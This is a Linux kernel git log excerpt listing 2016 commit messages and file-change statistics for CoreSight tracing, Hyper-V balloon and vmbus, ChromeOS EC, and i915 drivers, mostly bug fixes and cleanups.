68905d73df5d51ba1318a0ad3f3c5a65c4e646a2 Author: Mathieu Poirier Date: Thu Aug 25 15:19:10 2016 -0600 coresight: etm-perf: pass struct perf_event to source::enable/disable() With this commit [1] address range filter information is now found in the struct hw_perf_event::addr_filters. As such pass the event itself to the coresight_source::enable/disable() functions so that both event attribute and filter can be accessible for configuration. [1] 'commit 375637bc5249 ("perf/core: Introduce address range filtering")' Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm-perf.c | 4 ++-- drivers/hwtracing/coresight/coresight-etm3x.c | 14 ++++++++------ drivers/hwtracing/coresight/coresight-etm4x.c | 19 +++++++++++-------- drivers/hwtracing/coresight/coresight-stm.c | 7 ++++--- drivers/hwtracing/coresight/coresight.c | 2 +- include/linux/coresight.h | 5 +++-- 6 files changed, 29 insertions(+), 22 deletions(-) commit 3224dcc5a6ce919ddef2a387dcb4c47666480ed0 Author: Sudeep Holla Date: Thu Aug 25 15:19:09 2016 -0600 coresight: fix handling of ETM trace register access via sysfs The ETM registers are classified into 2 categories: trace and management. The core power domain contains most of the trace unit logic including all(except TRCOSLAR and TRCOSLSR) the trace registers. The debug power domain contains the external debugger interface including all management registers. This patch adds coresight unit specific function coresight_simple_func which can be used for ETM trace registers by providing a ETM specific read function which does smp cross call to ensure the trace core is powered up before the register is accessed. Cc: Mathieu Poirier Signed-off-by: Sudeep Holla Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etb10.c | 2 +- .../hwtracing/coresight/coresight-etm3x-sysfs.c | 2 +- .../hwtracing/coresight/coresight-etm4x-sysfs.c | 62 ++++++++++++++++------ drivers/hwtracing/coresight/coresight-priv.h | 9 +++- drivers/hwtracing/coresight/coresight-stm.c | 2 +- drivers/hwtracing/coresight/coresight-tmc.c | 2 +- 6 files changed, 57 insertions(+), 22 deletions(-) commit 46a3d5cdb029471247b7be050332df399eca3ee1 Author: Sudeep Holla Date: Thu Aug 25 15:19:08 2016 -0600 coresight: etm4x: request to retain power to the trace unit when active The Coresight ETMv4 architecture provides a way to request to keep the power to the trace unit. This might help to collect the traces without the need to disable the CPU power management(entering/exiting deeper idle states). Trace PowerDown Control Register provides powerup request bit which when set requests the system to retain power to the trace unit and emulate the powerdown request. Typically, a trace unit drives a signal to the power controller to request that the trace unit core power domain is powered up. However, if the trace unit and the CPU are in the same power domain then the implementation might combine the trace unit power up status with a signal from the CPU. This patch requests to retain power to the trace unit when active and to remove when inactive. Note this change will only request but the behaviour depends on the implementation. However, it matches the exact behaviour expected when the external debugger is connected with respect to CPU power states. Cc: Mathieu Poirier Signed-off-by: Sudeep Holla Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 12 ++++++++++++ drivers/hwtracing/coresight/coresight-etm4x.h | 3 +++ 2 files changed, 15 insertions(+) commit 1d37ae50671435e842c58b1429dfb0a6d065c42a Author: Markus Elfring Date: Thu Aug 25 15:19:07 2016 -0600 coresight: tmc: Delete an unnecessary check before the function call "kfree" The kfree() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc-etf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57a3668bebfd6247dceb862fceaee3b1fa2219b7 Author: Wei Yongjun Date: Thu Aug 25 15:19:06 2016 -0600 coresight: etm4x: remove duplicated include from coresight-etm4x.c Remove duplicated include. Signed-off-by: Wei Yongjun Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 1 - 1 file changed, 1 deletion(-) commit 9486295ad159fac87eb05bd683445be06a3b69f5 Author: Suzuki K Poulose Date: Thu Aug 25 15:19:05 2016 -0600 coresight: Use local coresight_desc instances Each coresight device prepares a description for coresight_register() in struct coresight_desc. Once we register the device, the description is useless and can be freed. The coresight_desc is small enough (48bytes on 64bit)i to be allocated on the stack. Hence use an automatic variable to avoid a needless dynamic allocation and wasting the memory(which will only be free'd when the device is destroyed). Cc: Mathieu Poirier Cc: Pratik Patel Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etb10.c | 20 ++++++-------- drivers/hwtracing/coresight/coresight-etm3x.c | 20 ++++++-------- drivers/hwtracing/coresight/coresight-etm4x.c | 20 ++++++-------- drivers/hwtracing/coresight/coresight-funnel.c | 20 ++++++-------- .../coresight/coresight-replicator-qcom.c | 18 +++++-------- drivers/hwtracing/coresight/coresight-replicator.c | 20 +++++--------- drivers/hwtracing/coresight/coresight-stm.c | 22 ++++++--------- drivers/hwtracing/coresight/coresight-tmc.c | 31 ++++++++++------------ drivers/hwtracing/coresight/coresight-tpiu.c | 18 +++++-------- 9 files changed, 75 insertions(+), 114 deletions(-) commit 7f73b0b9faa11446f73dba02811f928a230773c5 Author: Peter Chen Date: Thu Aug 25 15:19:04 2016 -0600 hwtracing: coresight: of_coresight: add missing of_node_put after calling of_parse_phandle of_node_put needs to be called when the device node which is got from of_parse_phandle has finished using. Cc: linux-arm-kernel@lists.infradead.org Cc: Mathieu Poirier Signed-off-by: Peter Chen Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/of_coresight.c | 1 + 1 file changed, 1 insertion(+) commit 2a18d7267a566b6be623893b5b5147ae5125d2ca Author: Olivier Schonken Date: Thu Aug 25 15:19:03 2016 -0600 coresight-etm3x: Add ARM ETM 3.5 Cortex-A5 peripheral ID Signed-off-by: Olivier Schonken Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm3x.c | 5 +++++ 1 file changed, 5 insertions(+) commit cd9e3474bb793dc93fbe0985f822ad4b2605e847 Author: Mathieu Poirier Date: Thu Aug 25 15:19:02 2016 -0600 coresight: add PM runtime calls to coresight_simple_func() It is mandatory to enable a coresight block's power domain before trying to access management registers. Otherwise the transaction simply stalls, leading to a system hang. Signed-off-by: Mathieu Poirier Reviewed-by: Sudeep Holla Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-priv.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 62d39ac934daaaecc716d651809b18da8ac255b0 Author: Mathieu Poirier Date: Thu Aug 25 15:19:01 2016 -0600 coresight: delay initialisation when children are missing Depending on when CoreSight device are discovered it is possible that some IP block may be referencing devices that have not been added to the bus yet. The end result is missing nodes in the CoreSight topology even when the devices are present and properly initialised. This patch solves the problem by asking the driver core to try initialising the device at a later time when the children of a CoreSight node are missing. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/of_coresight.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 67337e8d8dc44ceb720a1ba5d1f2ff230a53a888 Author: Suzuki K Poulose Date: Thu Aug 25 15:19:00 2016 -0600 coresight: Add better messages for coresight_timeout When we encounter a timeout waiting for a status change via coresight_timeout, the caller always print the offset which was tried. This is pretty much useless as it doesn't specify the bit position we wait for. Also, one needs to lookup the TRM to figure out, what was wrong. This patch changes all such error messages to print something more meaningful. Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etb10.c | 6 ++---- drivers/hwtracing/coresight/coresight-etm4x.c | 6 ++---- drivers/hwtracing/coresight/coresight-tmc.c | 6 ++---- 3 files changed, 6 insertions(+), 12 deletions(-) commit 1c9cbe118413dbb869d146c45932ba092a8ff485 Author: Suzuki K Poulose Date: Thu Aug 25 15:18:59 2016 -0600 coresight: Cleanup TMC status check Use the defined symbol rather than hardcoding the value to check whether the TMC buffer is full. Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc-etr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 78247e25e89b135e8401767e20fa7c814a17479a Author: Suzuki K Poulose Date: Thu Aug 25 15:18:58 2016 -0600 coresight: etmv4: Fix ETMv4x peripheral ID table This patch cleans up the peripheral id table for different ETMv4 implementations. As per Cortex-A53 TRM, the ETM has following id values: Peripheral ID0 0x5D 0xFE0 Peripheral ID1 0xB9 0xFE4 Peripheral ID2 0x4B 0xFE8 Peripheral ID3 0x00 0xFEC where, PID2: has the following format: [7:4] Revision [3] JEDEC 0b1 res1. Indicates a JEP106 identity code is used [2:0] DES_1 0b011 ARM Limited. This is bits[6:4] of JEP106 ID code The existing table entry checks only the bits [1:0], which is not sufficient enough. Fix it to match bits [3:0], just like the other entries do. While at it, correct the comment for A57 and the A53 entry. Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 8505feaed9246791e94c30e8bf52fa4c3ef2e7af Author: Suzuki K Poulose Date: Thu Aug 25 15:18:57 2016 -0600 coresight: tmc: Limit the trace to available data At present the ETF or ETR gives out the entire device buffer, even if there is less or even no trace data available. This patch limits the trace data given out to the actual trace data collected. Cc: mathieu.poirier@linaro.org Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc-etf.c | 2 ++ drivers/hwtracing/coresight/coresight-tmc-etr.c | 12 +++++++++--- drivers/hwtracing/coresight/coresight-tmc.c | 6 +++--- drivers/hwtracing/coresight/coresight-tmc.h | 4 +++- 4 files changed, 17 insertions(+), 7 deletions(-) commit 068c0a542f6edce90f7d8a9b35a849d990001018 Author: Suzuki K Poulose Date: Thu Aug 25 15:18:56 2016 -0600 coresight: Fix csdev connections initialisation This is a cleanup patch. coresight_device->conns holds an array to point to the devices connected to the OUT ports of a component. Sinks, e.g ETR, do not have an OUT port (nr_outport = 0), as it streams the trace to memory via AXI. At coresight_register() we do : conns = kcalloc(csdev->nr_outport, sizeof(*conns), GFP_KERNEL); if (!conns) { ret = -ENOMEM; goto err_kzalloc_conns; } For ETR, since the total size requested for kcalloc is zero, the return value is, ZERO_SIZE_PTR ( != NULL). Hence, csdev->conns = ZERO_SIZE_PTR which cannot be verified later to contain a valid pointer. The code which accesses the csdev->conns is bounded by the csdev->nr_outport check, hence we don't try to dereference the ZERO_SIZE_PTR. This patch cleans up the csdev->conns initialisation to make sure we initialise it properly(i.e, either NULL or valid conns array). Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 3afd0634a2aca32466617b3bc1075c127f75d776 Author: Suzuki K Poulose Date: Thu Aug 25 15:18:55 2016 -0600 coresight: Consolidate error handling path for tmc_probe This patch cleans up the error handling path for tmc_probe as a side effect of the removal of the spurious dma_free_coherent(). Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc.c | 36 ++++++++++++++--------------- 1 file changed, 17 insertions(+), 19 deletions(-) commit 481e46fe7a88557b66330cbb047b25cc13eff4b9 Author: Suzuki K Poulose Date: Thu Aug 25 15:18:54 2016 -0600 coresight: Remove erroneous dma_free_coherent in tmc_probe commit de5461970b3e9e194 ("coresight: tmc: allocating memory when needed") removed the static allocation of buffer for the trace data in ETR mode in tmc_probe. However it failed to remove the "devm_free_coherent" in tmc_probe when the probe fails due to other reasons. This patch gets rid of the incorrect dma_free_coherent() call. Fixes: commit de5461970b3e9e194 ("coresight: tmc: allocating memory when needed") Cc: Mathieu Poirier Signed-off-by: Suzuki K Poulose Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc.c | 3 --- 1 file changed, 3 deletions(-) commit b1149ad917b7808ba0023fd80a6631f10b1a14f2 Author: Sudeep Holla Date: Thu Aug 25 15:18:53 2016 -0600 coresight: always use stashed trace id value in etm4_trace_id etm4_trace_id is not guaranteed to be executed on the CPU whose ETM is being accessed. This leads to exception similar to below one if the CPU whose ETM is being accessed is in deeper idle states. So it must be executed on the CPU whose ETM is being accessed. Unhandled fault: synchronous external abort (0x96000210) at 0xffff000008db4040 Internal error: : 96000210 [#1] PREEMPT SMP Modules linked in: CPU: 5 PID: 5979 Comm: etm.sh Not tainted 4.7.0-rc3 #159 Hardware name: ARM Juno development board (r2) (DT) task: ffff80096dd34b00 ti: ffff80096dfe4000 task.ti: ffff80096dfe4000 PC is at etm4_trace_id+0x5c/0x90 LR is at etm4_trace_id+0x3c/0x90 Call trace: etm4_trace_id+0x5c/0x90 coresight_id_match+0x78/0xa8 bus_for_each_dev+0x60/0xa0 coresight_enable+0xc0/0x1b8 enable_source_store+0x3c/0x70 dev_attr_store+0x18/0x28 sysfs_kf_write+0x48/0x58 kernfs_fop_write+0x14c/0x1e0 __vfs_write+0x1c/0x100 vfs_write+0xa0/0x1b8 SyS_write+0x44/0xa0 el0_svc_naked+0x24/0x28 However, TRCTRACEIDR is not guaranteed to hold the previous programmed trace id if it enters deeper idle states. Further, the trace id that is computed in etm4_init_trace_id is programmed into TRCTRACEIDR only in etm4_enable_hw which happens much later in the sequence after coresight_id_match is executed from enable_source_store. This patch simplifies etm4_trace_id by returning the stashed trace id value similar to etm4_cpu_id. Cc: Mathieu Poirier Signed-off-by: Sudeep Holla Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-) commit f3864d85624a80222c8e01caa112554c998d922b Author: Chunyan Zhang Date: Thu Aug 25 15:18:52 2016 -0600 coresight-stm: support mmapping channel regions with mmio_addr CoreSight STM device allows direct mapping of the channel regions to userspace for zero-copy writing. To support this ability, the STM framework has provided a hook 'mmio_addr', this patch just implemented this hook for CoreSight STM. This patch also added an item into 'channel_space' to save the physical base address of channel region which mmap operation needs to know. Signed-off-by: Chunyan Zhang Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-stm.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit b8392153721c83de4e5d47ee455bbfefd0c8259e Author: Sudeep Holla Date: Thu Aug 25 15:18:51 2016 -0600 coresight: access conn->child_name only if it's initialised If the addition of the coresight devices get deferred, then there's a window before child_name is populated by of_get_coresight_platform_data from the respective component driver's probe and the attempted to access the same from coresight_orphan_match resulting in kernel NULL pointer dereference as below: Unable to handle kernel NULL pointer dereference at virtual address 0x0 Internal error: Oops: 96000004 [#1] PREEMPT SMP Modules linked in: CPU: 0 PID: 1038 Comm: kworker/0:1 Not tainted 4.7.0-rc3 #124 Hardware name: ARM Juno development board (r2) (DT) Workqueue: events amba_deferred_retry_func PC is at strcmp+0x1c/0x160 LR is at coresight_orphan_match+0x7c/0xd0 Call trace: strcmp+0x1c/0x160 bus_for_each_dev+0x60/0xa0 coresight_register+0x264/0x2e0 tmc_probe+0x130/0x310 amba_probe+0xd4/0x1c8 driver_probe_device+0x22c/0x418 __device_attach_driver+0xbc/0x158 bus_for_each_drv+0x58/0x98 __device_attach+0xc4/0x160 device_initial_probe+0x10/0x18 bus_probe_device+0x94/0xa0 device_add+0x344/0x580 amba_device_try_add+0x194/0x238 amba_deferred_retry_func+0x48/0xd0 process_one_work+0x118/0x378 worker_thread+0x48/0x498 kthread+0xd0/0xe8 ret_from_fork+0x10/0x40 This patch adds a check for non-NULL conn->child_name before accessing the same. Cc: Mathieu Poirier Signed-off-by: Sudeep Holla Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b605c2d913589c448d4a6887262bb8e99da12009 Author: Alex Ng Date: Wed Aug 24 16:23:13 2016 -0700 Drivers: hv: balloon: Use available memory value in pressure report Reports for available memory should use the si_mem_available() value. The previous freeram value does not include available page cache memory. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_balloon.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit eece30b9f0046cee810a2c7caa2247f3f8dc85e2 Author: Vitaly Kuznetsov Date: Wed Aug 24 16:23:12 2016 -0700 Drivers: hv: balloon: replace ha_region_mutex with spinlock lockdep reports possible circular locking dependency when udev is used for memory onlining: systemd-udevd/3996 is trying to acquire lock: ((memory_chain).rwsem){++++.+}, at: [] __blocking_notifier_call_chain+0x4e/0xc0 but task is already holding lock: (&dm_device.ha_region_mutex){+.+.+.}, at: [] hv_memory_notifier+0x5e/0xc0 [hv_balloon] ... which is probably a false positive because we take and release ha_region_mutex from memory notifier chain depending on the arg. No real deadlocks were reported so far (though I'm not really sure about preemptible kernels...) but we don't really need to hold the mutex for so long. We use it to protect ha_region_list (and its members) and the num_pages_onlined counter. None of these operations require us to sleep and nothing is slow, switch to using spinlock with interrupts disabled. While on it, replace list_for_each -> list_for_each_entry as we actually need entries in all these cases, drop meaningless list_empty() checks. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_balloon.c | 98 ++++++++++++++++++++++++++----------------------- 1 file changed, 53 insertions(+), 45 deletions(-) commit a132c54cbcb8c239a64370b9cd9468908398bc6e Author: Vitaly Kuznetsov Date: Wed Aug 24 16:23:11 2016 -0700 Drivers: hv: balloon: don't wait for ol_waitevent when memhp_auto_online is enabled With the recently introduced in-kernel memory onlining (MEMORY_HOTPLUG_DEFAULT_ONLINE) these is no point in waiting for pages to come online in the driver and we can get rid of the waiting. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_balloon.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit cb7a5724c7e1bfb5766ad1c3beba14cc715991cf Author: Vitaly Kuznetsov Date: Wed Aug 24 16:23:10 2016 -0700 Drivers: hv: balloon: account for gaps in hot add regions I'm observing the following hot add requests from the WS2012 host: hot_add_req: start_pfn = 0x108200 count = 330752 hot_add_req: start_pfn = 0x158e00 count = 193536 hot_add_req: start_pfn = 0x188400 count = 239616 As the host doesn't specify hot add regions we're trying to create 128Mb-aligned region covering the first request, we create the 0x108000 - 0x160000 region and we add 0x108000 - 0x158e00 memory. The second request passes the pfn_covered() check, we enlarge the region to 0x108000 - 0x190000 and add 0x158e00 - 0x188200 memory. The problem emerges with the third request as it starts at 0x188400 so there is a 0x200 gap which is not covered. As the end of our region is 0x190000 now it again passes the pfn_covered() check were we just adjust the covered_end_pfn and make it 0x188400 instead of 0x188200 which means that we'll try to online 0x188200-0x188400 pages but these pages were never assigned to us and we crash. We can't react to such requests by creating new hot add regions as it may happen that the whole suggested range falls into the previously identified 128Mb-aligned area so we'll end up adding nothing or create intersecting regions and our current logic doesn't allow that. Instead, create a list of such 'gaps' and check for them in the page online callback. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_balloon.c | 131 ++++++++++++++++++++++++++++++++++-------------- 1 file changed, 94 insertions(+), 37 deletions(-) commit 7cf3b79ec85ee1a5bbaaf936bb1d050dc652983b Author: Vitaly Kuznetsov Date: Wed Aug 24 16:23:09 2016 -0700 Drivers: hv: balloon: keep track of where ha_region starts Windows 2012 (non-R2) does not specify hot add region in hot add requests and the logic in hot_add_req() is trying to find a 128Mb-aligned region covering the request. It may also happen that host's requests are not 128Mb aligned and the created ha_region will start before the first specified PFN. We can't online these non-present pages but we don't remember the real start of the region. This is a regression introduced by the commit 5abbbb75d733 ("Drivers: hv: hv_balloon: don't lose memory when onlining order is not natural"). While the idea of keeping the 'moving window' was wrong (as there is no guarantee that hot add requests come ordered) we should still keep track of covered_start_pfn. This is not a revert, the logic is different. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_balloon.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 26840437cbd6d3625ea6ab34e17cd34bb810c861 Author: Vitaly Kuznetsov Date: Wed Jul 6 18:24:10 2016 -0700 Tools: hv: kvp: ensure kvp device fd is closed on exec KVP daemon does fork()/exec() (with popen()) so we need to close our fds to avoid sharing them with child processes. The immediate implication of not doing so I see is SELinux complaining about 'ip' trying to access '/dev/vmbus/hv_kvp'. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman tools/hv/hv_kvp_daemon.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3724287c0ec472815ebe5ae3790f77965c6aa557 Author: K. Y. Srinivasan Date: Fri Jul 1 16:26:37 2016 -0700 Drivers: hv: vmbus: Implement a mechanism to tag the channel for low latency On Hyper-V, performance critical channels use the monitor mechanism to signal the host when the guest posts mesages for the host. This mechanism minimizes the hypervisor intercepts and also makes the host more efficient in that each time the host is woken up, it processes a batch of messages as opposed to just one. The goal here is improve the throughput and this is at the expense of increased latency. Implement a mechanism to let the client driver decide if latency is important. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 7 ++++++- include/linux/hyperv.h | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 1 deletion(-) commit 8de0d7e951826d7592e0ba1da655b175c4aa0923 Author: K. Y. Srinivasan Date: Fri Jul 1 16:26:36 2016 -0700 Drivers: hv: vmbus: Reduce the delay between retries in vmbus_post_msg() The current delay between retries is unnecessarily high and is negatively affecting the time it takes to boot the system. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ccef9bcc02ee63ac171ea9f0d51e04b3e55b3a12 Author: K. Y. Srinivasan Date: Fri Jul 1 16:26:35 2016 -0700 Drivers: hv: vmbus: Enable explicit signaling policy for NIC channels For synthetic NIC channels, enable explicit signaling policy as netvsc wants to explicitly control when the host is to be signaled. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 18 ++++-------------- drivers/hv/channel_mgmt.c | 2 ++ drivers/hv/hyperv_vmbus.h | 3 ++- drivers/hv/ring_buffer.c | 15 ++++++++++++--- 4 files changed, 20 insertions(+), 18 deletions(-) commit 638fea33aee858cc665297a76f0039e95a28ce0c Author: Dexuan Cui Date: Thu Jun 9 18:47:24 2016 -0700 Drivers: hv: vmbus: fix the race when querying & updating the percpu list There is a rare race when we remove an entry from the global list hv_context.percpu_list[cpu] in hv_process_channel_removal() -> percpu_channel_deq() -> list_del(): at this time, if vmbus_on_event() -> process_chn_event() -> pcpu_relid2channel() is trying to query the list, we can get the kernel fault. Similarly, we also have the issue in the code path: vmbus_process_offer() -> percpu_channel_enq(). We can resolve the issue by disabling the tasklet when updating the list. The patch also moves vmbus_release_relid() to a later place where the channel has been removed from the per-cpu and the global lists. Reported-by: Rolf Neugebauer Signed-off-by: Dexuan Cui Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 6 ++---- drivers/hv/channel_mgmt.c | 32 ++++++++++++++++++++++++++++---- include/linux/hyperv.h | 3 +++ 3 files changed, 33 insertions(+), 8 deletions(-) commit e0fa3e5e7df61eb2c339c9f0067c202c0cdeec2c Author: Vitaly Kuznetsov Date: Thu Jun 9 17:08:57 2016 -0700 Drivers: hv: utils: fix a race on userspace daemons registration Background: userspace daemons registration protocol for Hyper-V utilities drivers has two steps: 1) daemon writes its own version to kernel 2) kernel reads it and replies with module version at this point we consider the handshake procedure being completed and we do hv_poll_channel() transitioning the utility device to HVUTIL_READY state. At this point we're ready to handle messages from kernel. When hvutil_transport is in HVUTIL_TRANSPORT_CHARDEV mode we have a single buffer for outgoing message. hvutil_transport_send() puts to this buffer and till the buffer is cleared with hvt_op_read() returns -EFAULT to all consequent calls. Host<->guest protocol guarantees there is no more than one request at a time and we will not get new requests till we reply to the previous one so this single message buffer is enough. Now to the race. When we finish negotiation procedure and send kernel module version to userspace with hvutil_transport_send() it goes into the above mentioned buffer and if the daemon is slow enough to read it from there we can get a collision when a request from the host comes, we won't be able to put anything to the buffer so the request will be lost. To solve the issue we need to know when the negotiation is really done (when the version message is read by the daemon) and transition to HVUTIL_READY state after this happens. Implement a callback on read to support this. Old style netlink communication is not affected by the change, we don't really know when these messages are delivered but we don't have a single message buffer there. Reported-by: Barry Davis Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_fcopy.c | 14 ++++++++++---- drivers/hv/hv_kvp.c | 27 ++++++++++++++++----------- drivers/hv/hv_snapshot.c | 16 +++++++++++----- drivers/hv/hv_utils_transport.c | 15 ++++++++++++++- drivers/hv/hv_utils_transport.h | 4 +++- 5 files changed, 54 insertions(+), 22 deletions(-) commit 396e287fa2ff46e83ae016cdcb300c3faa3b02f6 Author: Vitaly Kuznetsov Date: Thu Jun 9 17:08:56 2016 -0700 Drivers: hv: get rid of timeout in vmbus_open() vmbus_teardown_gpadl() can result in infinite wait when it is called on 5 second timeout in vmbus_open(). The issue is caused by the fact that gpadl teardown operation won't ever succeed for an opened channel and the timeout isn't always enough. As a guest, we can always trust the host to respond to our request (and there is nothing we can do if it doesn't). Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 7cc80c98070ccc7940fc28811c92cca0a681015d Author: Vitaly Kuznetsov Date: Fri Jun 3 17:09:24 2016 -0700 Drivers: hv: don't leak memory in vmbus_establish_gpadl() In some cases create_gpadl_header() allocates submessages but we never free them. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 4d63763296ab7865a98bc29cc7d77145815ef89f Author: Vitaly Kuznetsov Date: Fri Jun 3 17:09:23 2016 -0700 Drivers: hv: get rid of redundant messagecount in create_gpadl_header() We use messagecount only once in vmbus_establish_gpadl() to check if it is safe to iterate through the submsglist. We can just initialize the list header in all cases in create_gpadl_header() instead. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 38 ++++++++++++++++---------------------- 1 file changed, 16 insertions(+), 22 deletions(-) commit a9f61ca793becabdefab03b77568d6c6f8c1bc79 Author: Vitaly Kuznetsov Date: Fri Jun 3 17:09:22 2016 -0700 Drivers: hv: avoid vfree() on crash When we crash from NMI context (e.g. after NMI injection from host when 'sysctl -w kernel.unknown_nmi_panic=1' is set) we hit kernel BUG at mm/vmalloc.c:1530! as vfree() is denied. While the issue could be solved with in_nmi() check instead I opted for skipping vfree on all sorts of crashes to reduce the amount of work which can cause consequent crashes. We don't really need to free anything on crash. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv.c | 8 +++++--- drivers/hv/hyperv_vmbus.h | 2 +- drivers/hv/vmbus_drv.c | 8 ++++---- 3 files changed, 10 insertions(+), 8 deletions(-) commit 44051a6825d58c02820c07ded54a010479460308 Author: Vic Yang Date: Wed Aug 10 19:05:25 2016 +0200 Input: cros_ec_keyb: Stop handling interrupts directly Because events other that keyboard ones will be handled by now on by other drivers, stop directly handling interrupts and instead listen to the new notifier in the MFD driver. Signed-off-by: Vic Yang Signed-off-by: Tomeu Vizoso Tested-by: Enric Balletbo i Serra Acked-by: Dmitry Torokhov Signed-off-by: Lee Jones drivers/input/keyboard/cros_ec_keyb.c | 135 ++++++++-------------------------- 1 file changed, 31 insertions(+), 104 deletions(-) commit 6f1d912b687d3d17c1731f5bda3b5d6703bce4a0 Author: Vic Yang Date: Wed Aug 10 19:05:24 2016 +0200 mfd: cros_ec: Add MKBP event support Newer revisions of the ChromeOS EC add more events besides the keyboard ones. So handle interrupts in the MFD driver and let consumers register for notifications for the events they might care. To keep backward compatibility, if the EC doesn't support MKBP event, we fall back to the old MKBP key matrix host command. Cc: Randall Spangler Cc: Vincent Palatin Cc: Benson Leung Signed-off-by: Vic Yang Signed-off-by: Tomeu Vizoso Tested-by: Enric Balletbo i Serra Acked-by: Olof Johansson Signed-off-by: Lee Jones drivers/mfd/cros_ec.c | 58 +++++++++++++++++++-- drivers/platform/chrome/cros_ec_proto.c | 92 +++++++++++++++++++++++++++++++++ include/linux/mfd/cros_ec.h | 18 +++++++ include/linux/mfd/cros_ec_commands.h | 34 ++++++++++++ 4 files changed, 199 insertions(+), 3 deletions(-) commit 5423adf1d4c692ff300f9f4262e2d5241d4fe561 Author: Maarten Lankhorst Date: Wed Aug 31 11:01:36 2016 +0200 drm/i915: Fix other intel_dp warnings too. Signed-off-by: Maarten Lankhorst 